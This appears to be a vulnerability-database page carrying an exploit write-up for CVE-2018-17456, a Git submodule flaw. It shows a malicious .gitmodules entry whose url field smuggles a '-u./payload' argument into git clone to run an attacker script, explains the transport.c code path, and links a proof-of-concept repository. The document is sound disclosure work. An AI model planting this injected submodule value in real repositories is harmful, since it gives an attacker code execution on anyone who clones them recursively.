| Reporter | Title | Published | Views | Family All 167 |
|---|---|---|---|---|
| Exploit for Code Injection in Pivotal_Software Spring_Data_Commons | 11 Apr 202111:34 | – | gitee | |
| Git Submodule - Arbitrary Code Execution Vulnerability | 9 Oct 201800:00 | – | zdt | |
| Security Bulletin: Security Vulnerabilities affect IBM Cloud Private Vulnerability Advisor Kafka and Notification Dispatcher | 7 Mar 201920:05 | – | ibm | |
| Security Bulletin: A vulnerability in git affects PowerKVM | 17 Dec 201814:20 | – | ibm | |
| Exploit for Argument Injection in Git-Scm Git | 21 Jun 201903:17 | – | githubexploit | |
| Security fix for the ALT Linux 8 package git version 2.17.2-alt1 | 27 Sep 201800:00 | – | altlinux | |
| Security fix for the ALT Linux 10 package git version 2.17.2-alt1 | 27 Sep 201800:00 | – | altlinux | |
| Libgit2 -- multiple vulnerabilities | 5 Oct 201800:00 | – | freebsd | |
| Amazon Linux 2 : git (ALAS-2018-1093) | 26 Oct 201800:00 | – | nessus | |
| Amazon Linux AMI : git (ALAS-2018-1093) | 19 Oct 201800:00 | – | nessus |
# CVE-2018-17456
I've gotten a couple of questions about exploitation for the
[recent RCE](https://marc.info/?l=git&m=153875888916397&w=2) in Git. So here we
go with some technical details.
## TL;DR
[Here](https://github.com/joernchen/poc-submodule) is a PoC repository.
EDB Note: Mirror ~ https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/45631.zip
## Exploitation
The `.gitmodules` file looks as follows:
```
[submodule "x:x"]
path = x:x
url = -u./payload
```
The actual command being injected is set by the url, `-u./payload`
points the `upload-pack` flag of git clone to the `payload` shell
script. Note also the `:` within the path, this part is needed to
actually get the `payload` script executed.
The path will end up as the repository URL in the subsequent `clone`
operation:
```
execve("/usr/lib/git-core/git", ["/usr/lib/git-core/git", "clone",
"--no-checkout", "--progress", "--separate-git-dir",
"/tmp/huhu/.git/modules/x:x", "-u./payload", "/tmp/huhu/x:x"],...
```
As the actual URL from `.gitmodules` is interpreted as the `-u`
argument.
The colon is due to the fact, that the colon character let us go past
those lines in `transport.c`:
```c
} else if (url_is_local_not_ssh(url) && is_file(url) && is_bundle(url, 1)) {
struct bundle_transport_data *data = xcalloc(1, sizeof(*data));
transport_check_allowed("file");
ret->data = data;
ret->vtable = &bundle_vtable;
ret->smart_options = NULL;
```
Due to `url_is_local_not_ssh` will return false due to the colon
in the path. And therefore later on in the code the smart_options
containing the `uploadpack` setting are still in place:
```c
} else {
/* Unknown protocol in URL. Pass to external handler. */
int len = external_specification_len(url);
char *handler = xmemdupz(url, len);
transport_helper_init(ret, handler);
}
if (ret->smart_options) {
ret->smart_options->thin = 1;
ret->smart_options->uploadpack = "git-upload-pack";
if (remote->uploadpack)
ret->smart_options->uploadpack = remote->uploadpack;
ret->smart_options->receivepack = "git-receive-pack";1
if (remote->receivepack)
ret->smart_options->receivepack = remote->receivepack;
}
```
## Further hints
The constraint to have a colon in the `path` seems to hinder exploitation on Windows
as a colon is a forbidden character within a path on Windows. However as noted by
some people during the disclosure: Git running within the Windows Subsystem for Linux or
cygwin will allow exploitation on Windows hosts.
Etienne Stalmans who found [a similar issue](https://staaldraad.github.io/post/2018-06-03-cve-2018-11235-git-rce/)
earlier this year managed to exploit this argument injection [using `--template`](https://twitter.com/_staaldraad/status/1049241254939246592).Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation